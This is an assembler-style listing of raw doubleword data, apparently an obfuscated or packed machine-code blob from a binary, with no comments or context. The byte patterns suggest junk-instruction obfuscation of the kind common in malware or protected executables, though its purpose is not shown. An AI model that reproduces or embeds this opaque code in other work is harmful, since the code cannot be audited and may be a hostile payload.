		dd 56BFCE4Ch, 581BE83Eh, 840FC90Ah, 1AEh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 0F2C35242h, 37BF668Ch
		dd 89858B9Fh, 6A060625h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DB8DC355h,	962D1545h
		dd 0EF804B3Bh, 3326B77Ah, 6342585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0FD125AC5h
		dd 895EFECEh, 60FB585h,	5E806h,	52020000h, 8BBF81DDh, 610E9BDh
		dd 89505B06h, 8D012404h, 6062059h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD2B45C3h
		dd 6062121h, 4E8h, 1F03FF00h, 13E900h, 94340000h, 0AA706551h
		dd 6461EF31h, 630233B3h, 0CA78FA56h, 8B66503Ch,	24448BD9h
		dd 0EE804h, 9E230000h, 43737B76h, 0DCC7BFC5h, 5999A46Eh
		dd 8B5F5F50h, 0F88B6600h, 4244489h, 0FE8h, 4192A100h, 4F6EA97Dh
		dd 9815CE42h, 6A242AFAh, 5FD98B66h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 2195FFEEh
		dd 6A060622h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 1286C355h, 2B5DCF71h, 2B592911h
		dd 6293DBDh, 0A4858906h, 8B0609A4h, 225E9DEh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8BD5BBC3h, 60115BDh,	92D6BF06h, 536048CDh, 30058589h
		dd 895F0606h, 61AF195h,	858B6106h, 609A49Ch, 139D9D8Bh
		dd 0C70606h, 18h, 1C9DBD29h, 0B58B0606h, 609A4A0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4CC35343h, 0ECFAA286h
		dd 8BFCA3C9h, 62DA985h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 8F06F149h, 6A0689F9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 8432C351h, 0DE707999h, 858BD7DCh,	6062589h
		dd 2F49B529h, 46890606h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 95D0D9A2h, 82F18DDBh
		dd 9D8B8677h, 606041Dh,	0E9525096h, 6, 36E4548Ah, 310F05C9h
		dd 800F50h, 5F000000h, 0F50585Ah, 38Eh,	0F98B6600h, 52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 33F96B16h, 26635260h, 0BD8BFAD5h, 6060251h, 0A49CB5FFh
		dd 6A0609h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E06071C3h, 0FC3F688h, 5E9A9h, 8F370000h
		dd 6696B6AAh, 4E8DE8Bh,	0FF000000h, 8B001F03h, 0B9B350FEh
		dd 424448Bh, 0F6E6DABBh, 0F008B13h, 80h, 24448900h, 7E804h
		dd 1460000h, 0CED08C80h, 6A585FFBh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EA55C357h
		dd 0B50EE8DBh, 0A4A4858Dh, 0BF660609h, 6690F21Ch, 50B8F2BFh
		dd 6A901CB3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 8E8BC356h, 0BF6639A4h,	81662606h
		dd 0FF0256EFh, 6222195h, 9D896006h, 60603D1h, 2FB5BD89h
		dd 61610606h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0D1C35242h, 0DD7E1DE3h,	0B70F3515h, 68D0FD9h, 89000000h
		dd 623A59Dh, 4985C706h,	306062Eh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 66DFC351h, 0BD83DA8Bh, 609A4A4h, 30840F00h, 0F000000h
		dd 389h, 0FB8B6600h, 3DE9h, 14E800h, 85C00000h,	92BED3F5h
		dd 312A6908h, 0F5AD306Fh, 6112566Bh, 8151C5B1h,	8019FBC3h
		dd 505B5F2Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 20DDDC3h, 6857FFADh, 89DABF0Fh
		dd 626D99Dh, 49BD8306h,	306062Eh, 3B1850Fh, 800F0000h
		dd 1, 0A4BD83FCh, 609A4h, 39D840Fh, 8C0F0000h, 6, 218DBD33h
		dd 0B5FF0606h, 609A4A4h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 21C35040h, 6204C7B7h,	8ACF89D8h, 7195FFD9h
		dd 6A06060Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 5DDEC353h, 0CA1999E4h,	1DE2AA83h
		dd 29819589h, 0B58B0606h, 609A498h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 29C35545h, 0FE90916h, 37000000h
		dd 3BA480A9h, 594BA251h, 3EBAEC1Dh, 0AE840E4h, 28000000h
		dd 281AC02Eh, 6743B5EDh, 65858967h, 5B060623h, 106C7h
		dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0A52A05C3h, 8B5121E4h, 60D65BDh, 66965B06h
		dd 50665EBFh, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0C377655Eh, 522AC01Eh, 0A222BB66h
		dd 11699D8Bh, 0B5FF0606h, 609A4A4h, 1011BD8Bh, 95FF0606h
		dd 6061E49h, 1C399D8Bh,	0B58B0606h, 609A498h, 0ED9D2352h
		dd 5B060610h, 2FC5858Bh, 6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5B254DC3h, 2D9D89CCh
		dd 906061Dh, 61C9195h, 0C4868906h, 66000000h, 0B4C4CF81h
		dd 6880Fh, 860F0000h, 0
		dd 28DD958Bh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 8DD8C3h,	8546AE49h, 8349DB80h, 6A04C2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 30A825C3h, 2504E08Ch, 81667BACh, 66D7EACFh, 8995DFBFh
		dd 85892050h, 6062FF9h,	0B775858Dh, 6A0609h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 3D4EDC3h
		dd 58AB009Fh, 0B88689A9h, 9000000h, 61D95BDh, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0ABE4C357h, 7EA0DE6Ch, 1D5E76Ah, 4798501h
		dd 0B5FF0606h, 609A4A4h, 9A24CB81h, 95FF4D07h, 6062C1Dh
		dd 2D559D8Bh, 0E7810606h, 3A62EDAAh, 850F96h, 50000000h
		dd 819640B7h, 485B00CFh, 0A4B5FF0Eh, 0F0609A4h,	687h, 9DBD8900h
		dd 0FF06060Fh, 61CA595h, 0F5950906h, 83060621h,	61C99BDh
		dd 840F0006h, 22h, 96DE8B66h, 10E89650h, 0A2000000h, 126B11DDh
		dd 4A6E2A64h, 5DCBC704h, 0F5769CFh, 80h, 0B5FF5F00h, 609A4A4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FBC35747h
		dd 0FF2C7C52h, 61FFD95h, 9BD8906h, 0FF060616h, 9A4A4B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8BD2A8B7h, 6292D9Dh, 1995FF06h, 6606062Bh
		dd 0FE208BFh, 68Fh, 2BC38100h, 835892ACh, 62F65BDh, 840F0206h
		dd 47h,	9E9h, 0CE36E300h, 7310E141h, 858B67C6h,	60615F1h
		dd 661FB5BFh, 0C64Ch, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 1Dh, 5EC35242h, 0C959CFCDh, 0A86AE916h, 21B5292Fh
		dd 0C7060613h, 6034D85h, 6, 0DD9D8B00h,	0E9060633h, 0FFFFF324h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C8C35646h
		dd 8BF56F5Ch, 15BD8BF9h, 8B060615h, 52006AC1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 858DAF9Dh
		dd 6062369h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	44C35343h, 0CDEB5C24h, 2BD59D8Bh, 0E9500606h, 0Ah
		dd 3BAA72ECh, 0BB1A852Fh, 489CE6Ch, 6810F24h, 29000000h
		dd 61DE99Dh, 8B006A06h,	60471BDh, 8D006A06h, 0A932285h
		dd 998D8906h, 83060610h, 7E905C0h, 4F000000h, 428A4FA6h
		dd 51506F7Bh, 0E28D2FBBh, 4895F2Fh, 0CB816624h,	0BD8B7411h
		dd 6060EE1h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0F3239CC3h, 4EA252B9h, 0D9B70F46h
		dd 0E6D9D2Bh, 0DE80606h, 45000000h, 95A41A84h, 91402D87h
		dd 0B2A3D782h, 0DF2F85BBh, 6A5B08h, 2EA59509h, 95FF0606h
		dd 6062F9Dh, 8D8D38B3h,	6099515h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E3C35040h,	0DD1EF6ADh, 9D971BF5h
		dd 6E99Bh, 0DA70000h, 374063D4h, 0B70FD1FFh, 3DBD83F8h
		dd 106061Dh, 89850Fh, 0EB800000h, 0E9026A15h, 14h, 2142E87Fh
		dd 0FFEB6698h, 44947905h, 0E31FB370h, 0B5C90613h, 0FC36BF90h
		dd 8B502BF3h, 6A90F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BE1DA3C3h, 8895D7B4h, 0BE9h, 0B8A62E00h
		dd 0E852B41h, 87439508h, 2C1D95FFh, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 21598C3h
		dd 119D8B60h, 0F060621h, 0E961C0BFh, 0D0Fh, 0E8h, 0ED815D00h
		dd 60A932Ch, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B3CCD8C3h, 99B5893Bh, 8D060626h
		dd 98EE585h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 455EE902h, 0FD1555FAh, 0A911E7BBh
		dd 51509050h, 905FFE8Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 13C35141h, 92463510h,	8BF88A60h, 35FF64FBh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 90C35343h
		dd 2493CB6h, 0F5C6C91h,	8964F8BFh, 25h,	6DBD8B00h, 0BF06061Ch
		dd 45B8F3Bh, 0F5D85FFh,	6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F9CED7C3h, 2AD99D89h
		dd 0FF6A0606h, 0D5B5FFF9h, 6A060614h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F7CEC356h
		dd 0FD95FF33h, 0E9060612h, 0F2h, 0DE5444BFh, 0E600B004h
		dd 71E4F970h, 0CE9h, 8B8D2500h,	0E7FD953Ah, 2DC435FEh
		dd 0BD0153CFh, 6062D25h, 0F613C5Bh, 0C583h, 0C8EF8100h
		dd 0F761139h, 6BAC8B6h,	66000000h, 0C18BDE8Bh, 6850Fh
		dd 8D290000h, 6060209h,	8004E8C1h, 0F7660EDBh, 0FFF781E2h
		dd 2B1F0A2Ah, 14FBFC8h,	0DB800DB0h, 0BBD18BD8h,	3A1401CBh
		dd 8E9h, 52DF8100h, 0B714F3AAh,	8D858B4Ch, 0BF060616h
		dd 1DAEBDE1h, 0E807C083h, 9, 1E04038Bh,	0A9B7C3h, 0C0835B55h
		dd 0E0E78100h, 3B6B882Ch, 11830FD0h, 89000000h,	60429B5h
		dd 40E906h, 9D8B0000h, 60622C5h, 138D8D8Bh, 81660606h
		dd 83D769C3h, 840F01E1h, 26h, 89D9BF0Fh, 607F9BDh, 8DA58306h
		dd 0FE060613h, 0E2F38166h, 8D95897Ch, 89060616h, 62B858Dh
		dd 0E906h, 0B58D0000h, 60A0242h, 11F59D89h, 6A0606h, 0FFD8B70Fh
		dd 61AC995h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0B098BBF6h, 7B0B9CEh, 8BF0000h, 8326F20Eh
		dd 0BF0FFCE1h, 14E9FCDBh, 60000000h, 0AD3AF38Eh, 527C9827h
		dd 54F3D087h, 3DE28AEFh, 0B8811153h, 0
aFUj		db 'f»îJº',0
		align 10h
		dd 0ADFE8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F1FC353h, 387h, 57EB8000h, 3BB20ABFh, 0DBB70F5Bh, 880Dh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 75FCFA3h, 0DCF15F69h, 3EF81D0h, 8B7358C7h
		dd 628DD95h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 6DF23813h, 4F951C56h, 9D19BF66h
		dd 11118D8Bh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0C5085EC3h, 0EC52CBD6h, 896055E1h
		dd 615359Dh, 8B506106h,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0FE9h, 570D5000h,	1ACF3866h, 0B33186FDh
		dd 1589CE0Eh, 11E8h, 91AC1B00h,	0BBEEBFD6h, 1C7007D0h
		dd 887B356Fh, 0BD8B778Bh, 606119Dh, 0E381665Bh,	0BD833452h
		dd 6061AF5h, 47840F00h,	9000000h, 6115585h, 0B806h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0DB808BC3h, 0E9B5895Fh, 8D060613h, 64ED28Dh,	0E18D8906h
		dd 0FF06062Ah, 0EDB589E1h, 80060611h, 0BD833CC3h, 6062E49h
		dd 93840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0D5F5C350h,	0BD833E57h
		dd 6062E49h, 82840F01h,	9000004h, 62E59BDh, 49BD8306h
		dd 306062Eh, 439860Fh, 0DE8B0000h, 574BBF66h, 50006A60h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0E02CFD78h, 9161F2E4h, 0BD2995B1h, 606025Dh,	0E9D98C66h
		dd 7, 0E9C2EA82h, 801E2E1Eh, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0A5A85C3h
		dd 93840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0EE8DC353h,	0CE803399h
		dd 8BEB3EABh, 6258985h,	9CF78106h, 33705C3Dh, 6342585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0A231677Dh, 0BD09156Bh, 6060D85h, 5090D98Bh
		dd 53BB6652h, 66310F7Bh, 585ADE8Bh, 830F50h, 90000000h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0A0C35040h
		dd 49CBB43h, 10E8595Bh,	3F000000h, 0D53236AFh, 0F3DCDAAEh
		dd 6E136B20h, 29AD0091h, 61DE99Dh, 6A5B06h, 0E805EB80h
		dd 4, 1F03FFh, 12E8h, 48A8ED00h, 0E22E1A16h, 0B38B64F9h
		dd 93BABB48h, 0E99B58DDh, 13h, 0AEC8DECh, 46141552h, 0EFD4A993h
		dd 5D45D30Ah, 5FE50099h, 60525050h, 61F18B66h, 5250310Fh
		dd 310FF88Bh, 585AE0B3h, 448B585Ah, 66560424h, 5FE9EBBFh
		dd 5250008Bh, 7E9h, 26410D00h, 0F75F3FEBh, 0BF66310Fh
		dd 585A08F4h, 4244489h,	51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0C89D328Eh, 222195FFh
		dd 0DA8B0606h, 0A4A48589h, 6A0609h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0D6B5BEC3h
		dd 0F2E98B3Bh, 60000001h, 14D9D8Bh, 0F600606h, 858BD1BFh
		dd 6061509h, 858B6161h,	609A49Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0E8C35040h,	1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0C11BCFC3h, 0DC72675h, 8B9F17F4h, 0A0B58BFAh, 6A0609A4h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 58B4C353h, 31165E8h, 858BDF8Bh, 6062DA9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 25C35545h
		dd 0DAACCEFBh, 0EA4C2B42h, 0BD8BF56Ch, 6062DF9h, 0BF0F0689h
		dd 89858BFFh, 6A060625h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1C62C353h, 0EBC065E1h
		dd 0BB02BD81h, 3562ABA5h, 0B81B501h, 46890606h,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0BE949h, 0AA300000h,	3EAF7771h, 7C064C87h, 3BBF9680h
		dd 503B164Bh, 810BB396h, 0F196FE3h, 9CB5FF01h, 890609A4h
		dd 61D5585h, 4E806h, 3FF0000h, 8B66001Fh, 0F5650F8h, 28Fh
		dd 5BDA8B00h, 424448Bh,	8BDE8Bh, 4489D98Bh, 0D2B70424h
		dd 0A4858D58h, 6A0609A4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0DB33C355h,	0BF0F53F3h
		dd 89505FFAh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 971527C3h, 0BD8B38E7h, 6060469h
		dd 6810Fh, 0D7810000h, 13B18972h, 222195FFh, 6A0606h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0DEE71DC3h, 0C29D39BFh, 6A6102h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 4F9659C3h
		dd 0CE817FAh, 5D000000h, 0FF290F43h, 1325D5F3h,	0FF67260h
		dd 89h,	85C75B00h, 6062E49h, 3,	0A4A4BD83h, 0F000609h
		dd 0E84h, 0DCD78100h, 0E95CB98Bh, 1Eh, 50D88B66h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0AC4F78C3h, 0A270ED65h, 399D8BB4h, 8306061Dh, 62E49BDh
		dd 850F0306h, 3DEh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 46C35646h, 0C03821E2h, 0A4BD83C4h, 609A4h
		dd 3B0840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6BD8A4C3h, 0B79C172Bh, 159D2B58h
		dd 0FF06062Eh, 9A4A4B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0E9EAF33Eh, 95FFCBB6h
		dd 6060D71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0F5C35343h, 64AD3967h, 10E8FFh,	0FD640000h, 0E8A44FE0h
		dd 0BE397F1h, 0FCF5373h, 9D89C905h, 6061F11h, 98B58B5Bh
		dd 6A0609A4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 81F1C355h, 93CF64Bh, 0C7F98A29h
		dd 1000106h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0F0340A06h, 0FBF88F75h, 34895013h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0EB81FF5Dh, 5423C7DEh, 0BDDB8166h, 0A4B5FFD6h
		dd 0F0609A4h, 95FFDBBFh, 6061E49h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 4FC35141h, 0CCA67A85h, 66C78221h
		dd 8B61DBBFh, 9A498B5h,	5840F06h, 60000000h, 615B51F8h
		dd 2FC5858Bh
		dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0EA6AE3C3h, 469264FAh, 2CA5B501h,	89FC0606h
		dd 0C486h, 0ED33BF00h, 958B6CC0h, 60628DDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 35C35040h, 0EE9h
		dd 70C99B00h, 11350D0Eh, 0D188F173h, 8389D623h,	6A04C2h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0FA4476C3h, 0AE3E243Eh, 205089ADh, 3D5BD8Bh,	858D0606h
		dd 609B775h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0DCC35040h, 0DABF0FACh,	0B88689F8h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 898CC350h, 0B5FF006Ah, 609A4A4h, 95FFF98Bh
		dd 6062C1Dh, 129BD8Bh, 60500606h, 12E8h, 7628ED00h, 2346A49Dh
		dd 0F9E168DDh, 0B5B86A19h, 0BA26EFA0h, 55263CFh, 0C18A605Bh
		dd 12E9h, 0A4B81300h, 0D73A3D33h, 237C170Bh, 269493h, 61B7B328h
		dd 24348961h, 1B59D0Bh,	0B5FF0606h, 609A4A4h, 0EE9h, 0FFA1700h
		dd 5455B386h, 32C056F9h, 0FF894E0Fh, 61CA595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 738FF6DCh, 0BD832597h, 6061C99h, 1E840F00h, 29000000h
		dd 62D498Dh, 0F605006h,	684h, 8F0F00h, 0BE000000h, 7CBEA95Ah
		dd 24348961h, 0A4B5FFFCh, 6A0609A4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 79C3C352h
		dd 66AD57EAh, 8166D88Bh, 0FF35ACC7h, 61FFD95h, 418D3106h
		dd 0FF060602h, 9A4A4B5h, 0B5858906h, 0FF060617h, 62B1995h
		dd 0EE906h, 5B450000h, 8682862Ch, 5C8CAC88h, 8F045273h
		dd 2F65BD83h, 0F020606h, 1084h,	0DB52900h, 8B060607h, 615F185h
		dd 0C6F906h, 4D85C700h,	60603h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A618C352h
		dd 12459D8Bh, 17E90606h, 80FFFFF4h, 8166A1C3h, 8BB93DDBh
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 85BD42ACh, 0D98D89E0h, 8D06062Eh, 6236985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0C1A89C9Ah, 89FAB70Fh, 612C9BDh,	51605006h
		dd 310F5250h, 0E959585Ah, 7, 0E1B23C91h, 61152623h, 81240489h
		dd 22BDCFF3h, 33006A47h, 62AA59Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F381C356h, 69BD89h,	858D0606h, 60AA294h, 9D89DBB7h
		dd 6062CEDh, 6A05C083h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0CA64C355h,	90788360h
		dd 12E9h, 0CA43300h, 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h
		dd 505A11EAh, 6A90DA8Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 4C62C355h, 871A7913h
		dd 0D98BF5A8h, 0BE8006Ah, 0AF000000h, 0A65DC0E7h, 8A1B826Dh
		dd 6A5F3946h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0DDFF7357h, 87D913ACh, 0F5E380E1h
		dd 2F9D95FFh, 0EF810606h, 500A6B0Ch, 1DCD9D29h,	8D8D0606h
		dd 6099515h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	10C35747h, 0F7120477h, 0FBBF0FE7h, 6AD1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3B8C8C3h, 0E8106163h, 0Fh, 8BD495FBh, 0C2F452C3h, 67242D03h
		dd 0F34B14Eh, 687h, 158D8900h, 5B060631h, 1D3DBD83h, 0F010606h
		dd 0A885h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 22C6F436h, 0EB0BDBEBh, 26A1E22h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EEC35646h
		dd 505FC523h, 5830Fh, 0BABB0000h, 895F120Ch, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 6F9F78C3h, 7B67473Eh, 669BAAD2h, 9D31D88Bh, 6062905h
		dd 2C1D95FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 500FF4C3h, 0D91E9D8h, 0E80000h
		dd 5D000000h, 0A29EED81h, 6A060Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 637AF0C3h, 85336C8Eh
		dd 0BF21E246h, 43300002h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 41C35545h, 0CE9h, 0BC365100h,	0B02807B8h
		dd 5C40023Eh, 0E5858DE7h, 6A06098Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9650C356h
		dd 0EC1672C0h, 3DA62D65h, 50DE8B90h, 609013B3h,	0B531CF8Bh
		dd 60601B1h, 35FF6461h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1BC35747h
		dd 8F8FC2C8h, 258964h, 1000000h, 62BE585h, 0C9BD8B06h
		dd 0FF060612h, 60F5D85h, 0D8D8906h, 6A060629h, 0BE9FFh
		dd 57740000h, 0F8A49F87h, 0EFAB8536h, 0B9BD8BFBh, 0FF060631h
		dd 612F5B5h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 847FBB2Bh, 0E7802194h, 0FD95FFDFh
		dd 0E9060612h, 113h, 28C0Fh, 0D88B0000h, 890F00B0h, 0Ch
		dd 6890Fh, 0BD8B0000h, 6060F85h, 858970E6h, 606264Dh, 6E971E4h
		dd 0C7000000h, 0EFD7BEBEh, 0F19D0177h, 3C060628h, 0D4830F61h
		dd 66000000h, 0B41CDB81h, 89C8B60Fh, 62D318Dh, 6BA06h
		dd 65B30000h, 0F780C18Bh, 4E8C1FCh, 68C0Fh, 95010000h
		dd 6062349h, 2BE2F766h,	0F38166C8h, 0D18B69EEh,	0C5BBBB66h
		dd 6E9h, 0E19D8900h, 8B060624h,	621BD85h, 159D2B06h, 8306062Fh
		dd 8BF507C0h, 6248D9Dh,	0C08306h, 48A0Fh, 0BF660000h, 850F0C60h
		dd 6, 20A5BD89h, 0D03B0606h, 29830Fh, 0F600000h, 288h
		dd 8B5A5300h, 627098Dh,	44E96106h, 0F000000h, 0E82h, 7E95700h
		dd 80000000h, 0A9D3EE87h, 8B5F3A14h, 622358Dh, 0DF816606h
		dd 0E183A739h, 1C840F01h, 83000000h, 62235A5h, 0FE8BFE06h
		dd 21BD9589h, 89530606h, 62DF98Dh, 0E95B06h, 8D000000h
		dd 0A0BE5B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 224AD4EEh, 39BD8B07h, 6A060633h
